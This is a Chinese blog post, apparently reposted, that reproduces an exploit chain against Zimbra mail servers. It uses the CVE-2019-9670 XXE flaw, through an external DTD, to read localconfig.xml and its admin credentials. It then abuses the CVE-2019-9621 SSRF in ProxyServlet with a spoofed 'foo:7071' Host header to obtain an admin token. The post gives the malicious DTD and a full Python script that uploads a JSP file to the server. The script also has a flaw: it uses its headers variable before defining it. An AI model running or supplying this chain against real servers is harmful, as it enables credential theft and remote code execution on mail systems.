Zimbra邮件服务器利用XXE漏洞与SSRF完成对目标的文件上传与远程代码执行

刺骨的言语ヽ痛彻心扉 2022-02-23 03:22 2065阅读 0赞

前言

原文地址:https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

参考文档:https://blog.csdn.net/fnmsd/article/details/88657083

历史版本存在的RCE(远程代码执行)漏洞:

CVE-2013-7091本地文件披露漏洞,影响范围为8.0.2以下版本。

CVE-2016-9924 XXE SoapEngine文件漏洞,影响范围为8.5以下版本,结合SSRF可造成RCE。

CVE-2019-9670 XXE Autodiscover文件漏洞,影响范围为8.5-8.7.11,结合SSRF可造成RCE。

至于在Zimbra 8.7.11-8.8.11版本上验证RCE,附加条件是Zimbra使用Memcached。

历史版本所有XXE漏洞:获取localconfig.xml

XML外部实体(XXE)攻击(有时称为XXE注入攻击)基于服务器端请求伪造。这种类型的攻击滥用了XML解析器广泛可用但很少使用的功能。使用XXE,攻击者能够导致拒绝服务(DoS)以及访问本地和远程内容和服务。在某些情况下,XXE甚至可以启用端口扫描并导致远程代码执行。有两种类型的XXE攻击:带内和带外。

Zimbra对其内部和外部操作使用大量的XML来处理,使用好XML文件会带来很大的XXE漏洞。

CVE-2016-9924的漏洞位于SoapEngine.chooseFaultProtocolFromBadXml()中,该错误发生在invalid XML requests。此漏洞用于**8.5以下的所有Zimbra**实例版本。但由于无法将输出提取到HTTP response,因此在利用它时需要使用带外提取方法。

CVE-2018-20160漏洞是处理XMPP协议的XXE漏洞。

CVE-2019-9670在处理Autodiscover requests时达到了XXE漏洞的要求,这可以在8.5**8.7.11**Zimbra上应用。CVE-2019-9670的另一个缺陷是XHTML文档prevention bypass,这也导致了XXE,但是它们都是需要一些额外的条件来触发,这些都允许通过reponse直接提取文件。

一、CVE-2019-9670 XXE漏洞

1、根据文章提示找到漏洞触发的源码

根据文章提示,CVE-2019-9670在处理Autodiscover requsets时存在XXE漏洞,首先在内网的ubuntu 16.04LTS下安装zimbra 8.7.10版本,导出文件zimbra/lib/jar/zimbrastore.jar,利用java反编译器寻找关键字Autodiscover,发现此模块存在于com/zimbra/cs/service/AutoDiscoverServlet.class中。

向/Autodiscover/Autodiscover.xml 试着POST一个空的xml:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70

看到返回的是”No Email address is specified in the Request”,于是在AutoDiscoverServlet.class中查找此语句,发现发送的Request主要是由此模块下的一个doPost函数来处理,doPost函数大致如下:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 1

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 2

分析doPost代码,其利用模块下的getTagValue函数解析request,发现一共只解析两个参数,第一个是EMailAddress,也就是邮件用户名,第二个是AcceptableResponseSchema,而这个AcceptableResponseSchema是造成XXE漏洞的关键参数。

继续分析:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 2

第一个if语句是判断邮件用户是否为空,并没有用户验证机制,所以只需随便构造一个邮箱用户就可以了。

第二个if语句的responseSchema为上文中获取的AcceptableResponseSchema标签下的参数,如果此参数不为两个给定的类型,则报错并返回responseSchema的内容,此处造成了回显式的**XXE**。

2、根据漏洞构造xml

由上文分析得出request只需要两个参数即可,所以利用此条件构造内部注入的xml:

在docs.microsoft.com查询AutoDiscover的构造语句:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 3

根据上图构造post语句,用RestClient插件发送post语句,如下图,XXE内部注入漏洞触发成功,返回文件内容:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 4

由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要用外部dtd注入来触发XXE漏洞:

dtd文件:

  1. <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
  2. <!ENTITY % start "<![CDATA[">
  3. <!ENTITY % end "]]>">
  4. <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

构造外网可访问的站点,上传dtd文件,构造外部注入的数据包,post发送返回localconfig.xml的内容:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 5

在安装时,Zimbra为其内部SOAP通信设置了一个全局管理员,用户名为“zimbra”,并随机生成密码。这些信息均存储在名为localconfig.xml的本地文件中。分析了CVE-2013-7091漏洞,某些条件下可以使用此类凭证来获得RCE。但是zimbra通过令牌管理用户权限,并设置了一个应用程序模型,使得管理令牌只能被授予进入管理端口的请求,默认情况下端口是7071,但是很多网站都没有开7071。

3、适用版本

经测试,适用版本为8.5-8.7.11,在8.8版本中,zimbra对AutoDiscover模块做了XML外部实体注入防护:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 6

二、CVE-2019-9621 SSRF漏洞

如果目标网站关闭了7071端口,那么还有其他的方法,那就是SSRF漏洞。文章中提到用ProxyServlet,利用反编译器找到此函数:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 7

根据博客文章的说明,此ProxyServlet可以代理对另一个位置的请求,并且这个servlet可以在普通用户的webapp上使用,因此可以从公共访问。但是代码具有另外的保护,它会检查代理目标是否与一组预定义的白名单域匹配,也就是说请求来自管理员,所以第一步先要取到管理员作为普通用户的autotoken值。由于zimbra在管理员检查中存在缺陷,它检查的第一件事是请求是否来自端口7071,但是它使用的是ServletRequest.getServerPort()来获取传入的端口。利用管理员的检查缺陷,用cookie发送带有“foo:7071”主机头和低权限的autotoken值,我们可以将请求代理到任意目标。

1、获取低权限autotoken值

低权限token可以通过soap接口发送AuthRequest进行获取:

使用已经获得的zimbra_admin_name和zimbra_ldap_password进行登陆,获取一个低权限Token。

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 8

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 5

编写python脚本

首先通过账号和加密口令先获取低权限口令,然后通过proxy接口,向https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap发送cookie,访问admin的soap接口获取高权限Token,获取权限然后实现文件上传。

  1. #coding=utf8
  2. import requests
  3. import sys
  4. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  5. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  6. base_url=sys.argv[1]
  7. base_url=base_url.rstrip("/")
  8. #upload file name and content
  9. filename = "111.jsp"
  10. fileContent = r'<%out.println("111");%>'
  11. print(base_url)
  12. #low_token Stage
  13. import re
  14. username = "zimbra"
  15. password = "3Z0sGzkL"
  16. print(username)
  17. print(password)
  18. auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  19. soap:Header
  20. <context xmlns="urn:zimbra">
  21. <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
  22. </context>
  23. /soap:Header
  24. soap:Body
  25. <AuthRequest xmlns="{xmlns}">
  26. <account by="adminName">{username}</account>
  27. <password>{password}</password>
  28. </AuthRequest>
  29. /soap:Body
  30. /soap:Envelope
  31. """
  32. print("[*] Get Low Privilege Auth Token")
  33. r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
  34. pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
  35. print(pattern_auth_token)
  36. low_priv_token = pattern_auth_token.findall(r.text)[0]
  37. #print(low_priv_token)
  38. # SSRF+Get Admin_Token Stage
  39. headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
  40. headers["Host"]="foo:7071"
  41. print("[*] Get Admin Auth Token By SSRF")
  42. data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password)
  43. print(data)
  44. r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=data,headers=headers,verify=False)
  45. admin_token =pattern_auth_token.findall(r.text)[0]
  46. #print("ADMIN_TOKEN:"+admin_token)
  47. f = {
  48. 'filename1':(None,"whocare",None),
  49. 'clientFile':(filename,fileContent,"text/plain"),
  50. 'requestId':(None,"12",None),
  51. }
  52. headers ={
  53. "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
  54. }
  55. print("[*] Uploading file")
  56. r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
  57. print(r.text)
  58. print("Please vist "+base_url+"/downloads/"+filename)
  59. print("[*] Request Result:")
  60. s = requests.session()
  61. r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
  62. print(r.text)
  63. print("May need cookie:")
  64. print(headers['Cookie'])

对目标进行SSRF漏洞测试:

watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTczMjQzMA_size_16_color_FFFFFF_t_70 9

发现jsp文件已经上传成功!

发表评论

表情:
评论列表 (有 0 条评论,2065人围观)

还没有评论,来说两句吧...

相关阅读

    相关 远程代码执行漏洞

    远程代码执行漏洞是指在计算机系统上,攻击者可以通过网络连接远程执行指定的代码,甚至可以执行操作系统命令。这种漏洞通常存在于应用程序或服务器软件中,攻击者可以利用这种漏洞获取控制

    相关 SSRF漏洞

    SSRF漏洞简介 > (1)SSRF(Server - Side Request Forgery,服务端请求伪造)是一种由攻击者构造的请求,由服务端发起请求的安全漏洞。一

    相关 xxe漏洞学习利用总结

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识。 xml基础知

    相关 xxe漏洞学习利用总结

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识。 xml基础知

    相关 zimbra xxe+ssrf 导致 getshell

    前言 2019年3月13号,国外一名安全研究员在他的博客上公布了zimbra的这起漏洞,但是其中并未提到一些漏洞的利用细节,在此我将整个漏洞的利用过程进行复现。 原文